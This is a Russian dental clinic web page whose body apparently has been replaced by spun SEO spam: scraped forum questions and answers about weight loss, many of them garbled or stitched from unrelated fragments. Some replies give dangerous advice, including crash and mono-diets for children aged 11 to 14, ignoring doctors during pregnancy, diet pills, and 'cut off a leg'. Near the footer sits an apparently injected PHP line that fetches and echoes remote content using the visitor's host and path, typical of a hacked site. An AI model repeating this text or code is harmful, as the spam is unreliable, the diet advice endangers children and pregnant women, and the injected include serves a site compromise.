Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Нужно похудеть на 15 кг! Какой минимальный срок?

За полгода реально, если совмещать с физическими нагрузками, то вообще.

Про сердце и легкие, которые отношениях и связях между явлениями окружающей жизни, поэтому тогда пишите в как похудеть с 65 кг до поиска 55 кг название понравившейся картины и наслаждайтесь просмотром.

3 месяца !!

3 мес, на мой взгляд, и то надо постараться.

Если Вы хотите похудеть БЕЗ вреда здоровью, то это займёт месяцев 6, а если вам себя не жалко, то можно и за три, но потом пожалеть можете

В идеале нужно терять 5 кг за 2 месяца. Считайте. Это без вреда для здоровья.

Никогда

Делать.Я как то на таблетках лида за 2 мес.скинула с 95ти до 65-67кг.Но угробила здоровье.Желчный удалили.Теперь только сила-воли!Похудела с почти на 20кг сейчас 50кг за 4 месяца.

Две недели. если работать. никогда-если лежать. особенно после еды.

Мне почти 23 года, рост 175 см, вес 65 кг, как похудеть на 10 кг?

Что не знаеешь

Видео по которому я пыталась качать пресс https vk.com im?sel 182053310 amp z video22593993 166127563%2F2c7abeb25b49e63cd3 Второе не смогла найти Вопросы можете писать в личное...

Принимай ванну с содой

Занимайся спортом и правильно питайся.

А ты разве сама по цифрам не видишь что у тебя и атк идеальная норма

Да зачем тебе? Нормально

Стоит ли мне худеть? Рост: 168.Вес: 42-43.Лет: 13-14. Я часто задумываюсь об этом. Посоветуйте, стоит ли худеть.?

Не нужно

Можно ли похудеть с 75 до 55? Я была 76 кг, сейчас 65 за 8 месяцев так похудела Вес почти остановился, как дальше худеть до 55?Лично я за 1.5 месяца похудела на 11 кг - с 71 до 60 и худеть продолжила бы мне нужно 54-56 кг , только вот череда дней рождений пошла - 4 штуки...

Ты что? Вес отличный, можно даже на пару кг поправиться!

Мой рост такой же, вешу 54 и при этом худа.

Худеть при весе 42-43 кг в 14 лет?... смешно
я в 14 весила около 50....я думаю тебе просто не стоит комплексовать... это лучше))

Нет

Я уже писала, 12-13 лет. Вы же растете, какое худение. Вся ваша еда, идет а рост ваших костей и внутренних органов. пожалейте сами себя.

С самого похудеть на 65 кг проявлял интерес к личной жизнитерапевта, ревновал его к другим пациентам, приходил раньше времени, задерживался послесессии. С этого момента отношение пациента резко изменилось.

Дооо. до 25 кг худей, а то реально ведь жирная

Вам бы кг так 7-10 добрать, а то и ущипнуть поди не зачто, одни кожа да кости

Нет конечно... всё отлично)

Нет все путем)) ) худеть не надо да и вобше глупа как то при токих парметрав

Рост такой же. вес 45== и это у меня недовес вроде. так что лучше не худей

Вес - 61,5 кило минус 65,3 кг .Красавица!!! я тоже очен хочу так похудеть мой вес в данный момент 105 рост 165 я начила со севоднишнева дня пасмотрим что уменя получется буду писат.

Нет, идеальный вес)

Мне худеть? Во мне 65 кг! А - остальное -красота.. доброта... шарм... сексуальность... и харизма!

НИХРЕНА! Во мне 34

Насмотревшись на худых подружек, желание похудеть просто зашкаливало. В сентябре я вступила в марафон похудения с Аришей, прошла его до финала, стартовав с весом 73,3 кг и финишировав с весом ровно 65 кг .

Афродита?

Ну и прална

Надеть нечего?

Не вздумай Хорошего человека должно быть много!!!!

Буду оптом брать)))))

Похудеть на 65 кг пользу справедливого. Для стоящего насыщения, представляется рацион, но не жесткий. Оптимально собранные провизии и учет жиров, укажут опустить геном ненужными килограммов.

Не вздумай!)))


Сбрось 65 кг, а остальное оставь....


Здорово как! Только вот весу маловато....

Модные диеты как похудели люди . Этот выпуск Пусть говорят смотрели онлайн 15343. lt lt поиск видео на youtube ..после Галина Бедратая до похудания Галина Бедратая после похудания на 65 кг Надежда Герасимова похудела на 79 кг Надежда Герасимова до и после...

Как похудеть ребят в свои 13, вешаю 65 кг сам в шоке?

Лапшу на уши вешаешь?

Я уже просто не могу смотреть на себя в зеркало.... При росте 159см мой вес 65кг.Колобок наВес более 100 кг у мужчин начало решения проблемы. Вам стоит понять, что для достиженияВес 100 кг как похудеть мужчине с лишним весом. Диета для мужчин, которые весят 100 или...

Сам? Вы же Елена

Правильное питание и спорт

Вешаю.... бл9

Ппц, это ненормально..
на фрукты и овощи переходи, ешь меньше соли.
всё элементарно..

Фотку

Модные диеты как похудели люди . Этот выпуск Пусть говорят смотрели онлайн 15343. lt lt поиск видео на youtube ..после Галина Бедратая до похудания Галина Бедратая после похудания на 65 кг Надежда Герасимова похудела на 79 кг Надежда Герасимова до и после...

А вы читали статью о том что в подростковом периоде подросткам может казаться что они толстые, но это не так. Это просто ваше психологическое состояние.

КОГО ты там вешаешь?)))

Ну... всякое случается. главное - настройся на смену питания (его режима) и наберись терпения (так как не всегда лишние кг уходят по плану, но уйдут)
1. сократи ОБЪЕМ пищи.
2. перекусы только овощи и фрукты, НО в разумном объеме - твоя задача СОКРАТИТЬ ОБЪЕМ ЖЕЛУДКА
3. кушай МЕДЛЕННО - чувство сытости приходит через 20 мин
4. пока исключи мясо, ну или только отварная куриная грудка.
5. твои друзья: рыба, творог, горячие легкие супчики (они создадут быстро чвство сытости), овсянка, гречка.
6. можно устраивать РАЗГРУЗОЧНЫЕ ДНИ, используя монодиету, но не более 2 дней в неделю (с перерывом, не подряд). гречневый 1 день уберет около 500 г. но монодиета хорошо только в качестве разгрузки - (1 день) - иначе обмен веществ нарушится.
7. физические упражнения при диете достаточно тяжелы (сил нет) поэтому - если есть возможность 1 час быстрой ходьбы на улице. если нет - дома маршируй высоко поднимая колени и размахивая руками - не менее 20 мин (а лучше 30-40)

Как похудеть ребёнку? У моей знакомой дочка весит 65 кг в 6 классе. как ей с диетой можно сбросить вес?

Думаю вам к врачу надо. Дело не только в питании.

О похудении. Курс Похудение . Фотографии похудевших. Книга Магия стройности . Статьи о похудении.Рост - 160. Начальный вес - 65 кг.

А что сказал эндокринолог?

Сначала эндокринолог, потом диетолог и физиолог.

Увы, сначала надо вырасти.

Нужно перестать жрать

Родители небось булками-макаронами с сосисками кормят и компик для свободного времени прикупили...

Я уже просто не могу смотреть на себя в зеркало.... При росте 159см мой вес 65кг.Колобок наВес более 100 кг у мужчин начало решения проблемы. Вам стоит понять, что для достиженияВес 100 кг как похудеть мужчине с лишним весом. Диета для мужчин, которые весят 100 или...

Лучше всего конечно к врачу. Он сделает анализы, и если со здоровьем все ок, диетолог пропишет нужную диету. Правильное питание и спорт в любом случае.

С нами в палате лежала девочка 11 лет, весила 60 с чем-то там кг, ей столько всего носили и мама и бабушка, мы даже удивлялись, как можно стооолько есть, а она ничего, только всегда была голодна и все мечтала похудеть

Сыроедение попробуют пусть. все нормализуется без медикаментов.

Как на 30 недели похудеть на 3 кг. набрала с 55 кг до 65 кг. врач ругает.

А пусть ругает. Ешьте спокойно. Я оба раза по 20 кг набирала, сбрасывала за 2 мес.

Похудела на 20 кг за месяц.Ведь бег для похудения не только сброс килограмм, а и оздоровление всего организма. В обед кушала яблоки и морковки натертые на терке, столько сколько захотела.

И что теперь? Нельзя худеть при беременности. Я тоже по многу набираю. Потом вес возвращается к прежнему.

Исключить соленое, жареное, острое. Есть пять-шесть раз в день понемногу. Контролировать жидкость. Раз в неделю - разгрузочный день (или полтора кг яблок в день, или литр кефира+ полкило творога в день) .
НО! Главное, что волнует врача- это не собственно лишний вес, а возможные отеки. Именно они дают быструю прибавку. А отеки- признак того, что почки не справляются с нагрузкой. Поэтому "не слушайте врача, набирайте сколько угодно лишнего веса" - это глубоко неправильный подход к делу!!!

Сама так же набираю. врач сказала не есть калорийное а я как то не хочу ребёнка ограничивать есть кто набирал и больше 20 и ничего. все рожают.

Мне врач сказал, то если нет отеков, одышки и т. п. - ничего страшного в наборе веса нет.

Я 18 набрала, родила сама и вес ушел практически весь через два месяца. не парьтесь - меня врач не ругала, просто в карточке писала меньшую прибавку.

Но к сожалению, стоит только прекратить этим занамиться, килограммы возвращаются сумасшедшим образом.Она здорово похудела на 66 кг...держит вес и продолжает худеть!Сменила образ жизни!

НЕ СЛУШАЙТЕ ВРАЧЕЙ, ТОЛСТЕТЬ ВО ВРЕМЯ БЕРЕМЕННОСТИ ЭТО СВОЙСТВЕННО! РОДИТЕ ПОХУДЕЕТЕ!

У меня 15 недель, я уже 10 набрала) , понимаю, что потом скидывать сложно будет. Но если в общем-целом на здоровье ваше вес не влияет, то думаю не страшно. На яблоки обычно сажают на день, два.

Ну и что? Все нормально, я 17 набирала, через 4 мес 20 скинула.

У меня 35 недель и 16 кг набрала. И что? Меня тоже ругают. Никто не вправе запрещать беременной женщине ЕСТЬ) ) Может вы много пьете жидкости? Возможно отеки.. .
Мне моя врач советовала устроить разгрузочный день - 600 г яблок зеленых, 600 г творога - и это все за весь день! Ни воды, ни чая, никакого питья.... Я так не смогла.. . Но может у вас получится?

Как похудеть с 65 кг? (не мне, моей подруге) Реально ли похудеть на 15 кг за 2 месяца? Что следует употреблять?

Нет

Как похудеть. Мне 14 лет.Я девочка и вешу 65 кг.Добрый вечер!В этом году родила второго реб нка.За время беременности набрала только 5 кг,даже была похудевшая,хотя в еде себя не ограничивала.После родов обнаружили саркоидоз,до этого флюорография всегда была...

Рот пластырем заклеить.

Как похудеть быстро. помогите мне 11 лет и я вешу 65 кг я хочу похудеть помогите

Спорт спорт и еще раз спорт + диета

В итоге мне 44 года живу с третьим мужем, которого все устраивает - уже 18лет , и мой вес доходило максимально до 152 кг!!!Это было 6лет назад - на кремлевке похудела на 7 кг до 147 , за 6мес.

Меньше есть, больше двигаться

Вам к врачу.

Ты ещё ребёнок.
растущий организм.
вес этот очень нужен для нормального развития.
так что худеть пока не стоит)
просто можешь заняться спортом, что-бы держать себя в форме)

Спорт

В этом возрасте КАТЕГОРИЧЕСКИ НЕЛЬЗЯ применять диеты и лекарства, идёт гормональная перестройка, инвалидом можешь стать. Единственный вариант - занятие спортом. Но БЫСТРО не получится

Весившая почти 130 кг поклонница канадского певца Джастина Бибера похудела вдвое, чтобы понравится своему кумиру. Увы, пока Джастин никак не прореагировал на ее любовные послания.

Попробуй походить на детский фитнес

Замени пищу (по возможности) . фруктами и овощами. нет сладкого нет булочек и хлеба. если продержишься неделю-будет результат.

Не тупи пацан, считай сколько в день калорий съел на продуктах написано, например съедаешь 1500 ккал в день, уменьши на 200 и через неделю посмотри сколько ты будешь весить в неделю по 500 грамм сбрасывай и норм

Я вешу 76 мне четырнадцать и это мышцы спорт спорт спорт и незабывай учится.

Надо полностью отказаться от булки и сладкого. Сосиски и колбасу тоже не есть. Черный хлеб можно, но только понемногу. Все порции убавить наполовину, если они у тебя как у взрослого. Заместо картошки и макарон кушать овощи тушеные или даже сырые. Прекратить просиживать за компьютером, а вместе с мамой, папой больше бегать по улице.
Быстро похудеть не получиться, потому что слишком долго тебя за кар мл ив али вкусненьким.

Природой все продуманно, и человек не будет толстым, если он будет правильно питаться! Я так похудела с 65 до 55 и не набрала обратно, вот сейчас опять собираюсь на 3 кг схуднуть. Начинаю с сегодняшнего дня.

Мне 15 лет, мой рост 1,65, и вешу я 65кг. Как похудеть?

Это вполне нормлаьный ве

Досье Имя Татьяна Возраст 65 лет Рост 164 см. Талия до похудения 120 см Талия после похудения 87 см.Похудела на 35 кг за 1 год и 8 месяцев. Хочу сбросить ещ 3,5 кг, чтобы похудеть до 60 кг.

Не страдай ерундой

Зачем худеть? У тебя идеальный баланс, если всё таки хочешь иди в спорт зал и найми тренера. . 2 месяца, я думаю 5-7 кг скинешь.

Я тоже думаю худеть совсем не нужно, а то анарексия начнется!

Мне 13 лет. вешу 72 кг, рост- 170 см. мой идеальный вес -65 кг. как похудеть на 7 кг?

Отрежь ногу

Мало кто верит, что можно похудеть без диет. Пару лет назад так считала и наша героиня. Пока не заменила диету на правильное питание.

Спорт, спорт, спорт! диетами в таком возрасте подорвешь здоровье

Немного подрасти для начала. Меньше кушай булочек.

Хлебобулочное сладкое жирное жаренное газированная вода -Забудь
Здравствуйте овощи (окромя картохи) и фрукты (но не все)
И Спорт)))

Ешь меньше

Спорт, лёгкая атлетика, витамины, пресс, углеводы, избавление жареного, танцы, танцы живота

Все о похудении Прежде, чем начать худеть Обмен веществ и питание худеющих Стимулы для похудения Сбросить более 10 кг веса Как похудеть после родов Фитнес для похудения Препараты дляМоя диета и правила борьбы с лишними килограммами. Главное цель.

Съездий в оздоровительный лагерь на лето. Денег ссобой не бери, а мамины посылки раздавай нуждающимся.

В 13 лет и 65 кг ОЧЕНЬ много.. . сочувствую

Что чувствует девушка если у нее на коленях сидит подруга весом 50 кг?

Чего-чего?...

Диета 20 кг обещает ошеломляющие результаты. Следуя диете, можно за 20 дней похудеть на 20 кг.Я немного сбилась в счете и прошло та ровно 4 дня. за четвертый день я потеряла -0.500 гр. Так мой вес составил на сегодня 65.5 кг.

Привет. Помогите мне поохудеть. Мне 19 лет . Вешу 65 кг. Рост 167. Как похудеть за короткое время Хочу похудеть на 10 кг

Девушка, у вас всё в порядке с весом. Не забивайте голову всякой, извините, фигнёй. При росте 167 см в 19 лет с 65 кг - самое то.

Правильная диета, или диета трех правил, поможет вам за 1 месяц безопасно похудеть на 5 кг. Диета достаточно проста и соблюдать ее не сложно!ета диета должна мне помочь ведь я вешу 65 кг.

Мне 16 лет мой рост 164 мой вес 65кг как похудеть за неделю и чтобы потерение веси не вернулись

Чрамп чыаимчврык

Оксана 9 апреля 2012 в 00 04 0. Девочки, завтра 9апреля я сажусь на эту диету. Мой вес 65кг,хочу похудеть на 10кг. Кто со мной?!! По окончании диеты напишу комментарий!

Да нормальный у тебя вес не парься :)

Физиологически правильное и безопасное похудение, не более 1 кг. в неделю.

164 *65... да компактненько так, ВСЁ рядом
\худеть низя\

Слушай рок н ролл и танцуй

Побегай неделю по утрам и вечерам, с друзьями гуляй днем, и только салаты ешь)
Кароче больше двигайся и меньше ешь :)

Так, при росте 172 см и весе 52 кг я вдруг стала довольно упитанной 65- килограммовой девушкой.Тут я поняла, что надо что-то делать. Попытка похудеть номер 1. С треском провалилась. Параметры 90-75-104. Я в отчаянии.

Ешь много раз примерно 6 в день маленькими порциями и бегай по утрам перед завтраком.

Не загоняйтесь по этому поводу.
рассчитайте свой индекс массы (легко найдете в интернете) .
Он покажет что у вас нормальный вес. Ешь все подряд но в меру.

Отрежь ногу

Да никак... за быстрое время огн все равно вернется, только если вы не сядите на диета которая длится всю жизнь)

Активизированыи голи еш он помогает худеть вот например у меня было 60 кг а теперь после 10 таблеток 54 кг

Как похудеть на 5 кг за месяц? Читайте очень полезные советы, которые обязательно вам помогут!Администрация пишет Здравствуйте, Надежда. Ваш идеальный вес составляет около 65 кг.

Мой вес 65 кг. Дама моего сердца хоть и похудела, тянет на 78 кг. Но я её ЛЮ и хочу носить на руках. Как не надорваться?

Ешь больше каши "Геркулес"

Похудеть на 5 килограмм за месяц?Потеря 0,5 1 кг в неделю считается идеальным темпом, поскольку именно такой режим позволяет убить двух зайцев избавиться от жировых отложений и мышечную массу не испепелить .

Ну если только рикшей стать.. .

ВОЗИ В ТЕЛЕЖКЕ

Народ давно подметил, что маленький мужичок, очень любит крупных женщин.

Купи ручную тележку и носи-катай!. .

Ваша дама сердца на дистрофиков не рассчитана!

Но, зато за это время привыкла правильно питаться и отучилась на ночь есть. Вот как похудела на 16 кг, так и держу уже два года вес в норме!стола есть все как раньше . теперь мой вес не поднимается и НЕ ОПУСКАЕТСЯ 65кг., но я поняла что я рожу еще ребенка и лягу хирургу на...

Тяжело будет первые 3 года.

Пусть она носит.

Глупо ли парню с весом 65 кг худеть, сидеть на диете , не есть сало итп все что калорийно очень?

Это верх глупости. Как он сможет защитить свою девушку в экстремальных ситуациях. будучи дохляком? Лучше спортом пусть займется. А насчёт "больше любят худых чем упитанных... " - это совсем не обязательно, но дело вкуса каждой девушки.

Питаюсь ограничено утром пью кофе с молоком, в обед ем 1 блюдо, вечером яблоко , при моем росте 167 вешу 65кг., хочу похудеть, но не могу. Сдавала анализы на гормоны все в порядке, щитовидка тоже в норме.

Ты бы лучше спортом занялся и мышечную массу набрал, хотя бы небольшую! Девушкам скорее всего спортивные парни нравятся! А быть дрищем думаю не стоит! =)

От сала на брюхе сила не прибавляет ца

Ну если хочешь быть дрищем то да!! ! а рост какой?!

Ограничивать себя во вредной пище да, но худеть до размеров дрыща не стоит)

Глупо! И очень даже!

Девушка каторая похудела на 65кг. Себе отварную рыбу поэтому процесс похудения не замедляется есть можно в любое время суток, но только эти продукты. Легче определять естественное желание третий месяц похудения и вам трудно сделать частым...

Для парней отлично работает правило "рост в сантиметрах минус сто", но уже в килограммах. То есть при росте 180см отличный вес - 80 кг. Или даже 90. Вы чо, ребята? У мужика кости толще и тяжелее, мышц больше, ясен пень, что вес будет! Конечно, при весе 65кг подтягиваться 10 раз легче, чем при весе 80 кг, так в последнем случае силы в мышцах намного больше! Главное именно это, а не сколько раз подтягивается.
Набирать вес пивом и булочками, конечно, глупо, но вот как раз сало (изредка) вовсе не помешает. Творог жирный, сметана, каши со сливочным маслом, макароны по-флотски. И зарядка, турник ежедневно, гантели, гиря. "Кожа да кости" это и не круто, и не красиво.

Мне 14 лет я вешу 65 кг как похудеть на 15 кг?только нормальные)буду очень благодарна

Чтобы потом с кирпичом ходить от ветра спасаясь?

Кто худел со 100 кг? Девочки, миленькие, я отчаилась. Пожалуйста кто похудел, расскажите как.Сейчас на Протасове - неголодно, за 3 недели - 7кг В качестве стимулов - одежда меньших размеров, к лету планирую 65, а то по вообще одеть нечего и гардероб сестры будет мне в...

А какой рост?
сядь на белковую 10 дневку, тощая хорошая... абц есть нормальная, есть лайт
можно просто на пп-малокушанье
всё зависит от того, насколько ты сможешь ужесточить себе питание... на что ты способна? каким путем хочешь добить результата?
и ОБЯЗАТЕЛЬНО спорт!!!!

Бег каждый день, и правильное питание, Лень тебя превратит в бегемота !

А рост какой? диета и спорт

3 дня не соленый рис, 3 дня зеленые яблоки, 3 дня кефир, можно пить зеленый чай. А вообще, в 14 лет не стоит садиться на диеты. В 15 16 лет начнется перестройка организма и ты похудешь сама по себе. удачи:)

Мой вес с 12 лет был всегда 64 кг при росте 168(до 30 лет) - менялись только объемы тела.. Сначала это меня бесило, но теперь в 34, набрав после вторых родов я стремлюсь опять прийти к этому весу. Проанализировав все свои фото в бикини с 12-летнего возраста по сей день, поняла, что в этом весе я выгляжу просто идеально. Работай над объемами, а не весом: качай пресс, совершай пробежку, если есть животик - иди на восточные танцы (там это только плюс), делай 15-минутные силовые комплексы с гантелями.

Диета 20 кг обещает ошеломляющие результаты. Следуя диете, можно за 20 дней похудеть на 20 кг.Я немного сбилась в счете и прошло та ровно 4 дня. за четвертый день я потеряла -0.500 гр. Так мой вес составил на сегодня 65.5 кг.

Спортом заняться. в бассейн ходить

Для начала исключи из рациона сахар, изделия из муки в. с. (батоны, пирожные и т. п.) .
а по утрам натощак (за 30-40 мин. до еды) чайную ложку растительного масла (оливковое, кунжутное, да любое... )
это не диета.
да, и катайся на роликах!!!

Надо подходить к проблеме похудения комплексно. Прежде всего, надо понимать, что подбор комплекса из диеты и физических упражнений ставит своей целью глубокое очищение организма и, как следствие, его оздоровление, а похудение – это приятный и красивый бонус за наши труды и «лишения» . Все способы похудения хороши по-своему, но выбирайте все же тот, который вписывается в ваши традиционные гастрономические вкусы, реальный образ жизни и, уж извините за приземленность, кошелек. И следующее. В основе разумного оздоровительного похудения всегда лежит подготовка к очищению организма с применением энтеросорбентов таких как Полисорб, который является наиболее универсальным методом подготовки наших жизненных органов к похудению.

Как похудеть без вреда для здоровья? Я вешу сейчас 65 кг. Я хочу весить хотя бы 55 - 60 кг. Но не знаю, как сбросить.

Сколько лет и какой рост?

Как похудеть на 5 килограмм за неделю или месяц в домашних условиях?Весила 65 кг, теперь 56 кг и вс за один месяц. Я всего-лишь не ела после 18.00 и бегала по 20-30 минут.

Для пользы для здоровья даже можно, секрет прост, занятие спортом, режим, режим питания)

Режим питания, есть понемногу и часто, исключить мучное и жырное, газеровку, алкоголь. На самом деле поешьте хотя бы неделю, все вареное и парное, заметите результат. (желательно не соленое)

Значит, садишься утром за компьютер и регистрируешься в контакте, находишь близких друзей и общаешься с ними, ты не сможешь оторваться за весь день и так каждый, в итоге ты похудеешь за месяц на 10 кг. Можно еще в онлайн игры поиграть, например в Аллоды.

Сейчас сезон овощей и фруктов, вот и ешь только их. Никакой соли, сахара и масла (любого) . За месяц возможно сбросить от 5 до 10 кг.

Как быстро похудеть??? я вешу 65 кг. а хочу 55 весить,ответьте пожалуйста...заранее спасибо)))

65 это нормально, если у тебя не рост 155

Более того в 2007 году за время беременности певица набрала 30 кг. Однако теперь она весит всего 47 кг и это достижение она считает довольно важным для себя.Успех знаменитости очередной раз доказывает, что похудеть может любой человек, поставивший себе такую цель.

Перестань есть когда не чувствуешь голод.

Правильное питание и спорт)

Я вешу 65 кг, хочу похудеть до 55 за 2 месяца!фигура склонна к полноте!возможно ли это?диеты какие-нибудь посоветуйте=)

Уберите сладкое и булки из рациона, дня три будет колбасить, потом будет легче и ешь больше овощей ( сельдерей, например) и побольше двигайся

Лишний вес как похудеть на 65 кг оживленно удалится, ежели. 5 из 5 Оценок 487.

Как похудеть на 65-70 кг? Желательно за 1,5-2года

Есть хороший совет. Исключить из питания, все сладкое, мучное, и не объедаться и вы сможете :3

Как похудеть на 50 кг - интервью с участником Fitfan.ru. Расскажи вкратце о себе Виктор, почти 32 года в апреле будет , рост 178, вес сейчас 96 кг правда за новогодние праздники 4 кг, на момент писания статьи вес мой 98,5 . Гражданский voronishka, 26лет, 166 см, 65 кг - будет 58.

Как похудеть на 15 кг?

Не кушай

Оксана 9 апреля 2012 в 00 04 0. Девочки, завтра 9апреля я сажусь на эту диету. Мой вес 65кг,хочу похудеть на 10кг. Кто со мной?!! По окончании диеты напишу комментарий!

Пей средства от похудени, но только если тебе очень нужно

Кушать меньше, бег не очень помогает)

Жрать меньше надо ;)

Занимаешься всем, но видимо и действий мало, а главное за питанием следить не начала!

Мало есть надо и заниматься спортом

Мой вес 65 кгМаринка. 000 061.Мечтаете похудеть на 5-10 кг? Не знаете, как избавться от лишнего веса? Присоединяйтесь к нам и начинайте стройнеть по-симоронски!

Если ты похудеешь на15 кг, будешь совсем худой, мне кажется у тебя вес нормальный

Диета у тебя говно! И за месяц нереально сбросить 15 кг! Максимум 1 кг в неделю. Углеводов 200грамм в день (в первой половине дня) и исключать их НЕЛЬЗЯ! Белка 400грамм в сутки (белок дает столько же калорий, сколько и углеводы, но не откладывается в жир) + 1 день плавенье, 2 день бег (и так чередовать) 1 день в неделю отдыхать.
P.S. Не есть после 6 БРЕД, гречневая диета и т. п. БРЕД! (гречка- это углеводы, а пытаться похудеть и есть одни углеводы БРЕД!)

Я вот на ночь по 8 конфет с ликёром ем (((ну так то типа худею тоже))))

Все диеты есть на Мама и дети на форуме смотрите в разделе скачать там же и калькулятор калорий

Как похудеть на 65 кг
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта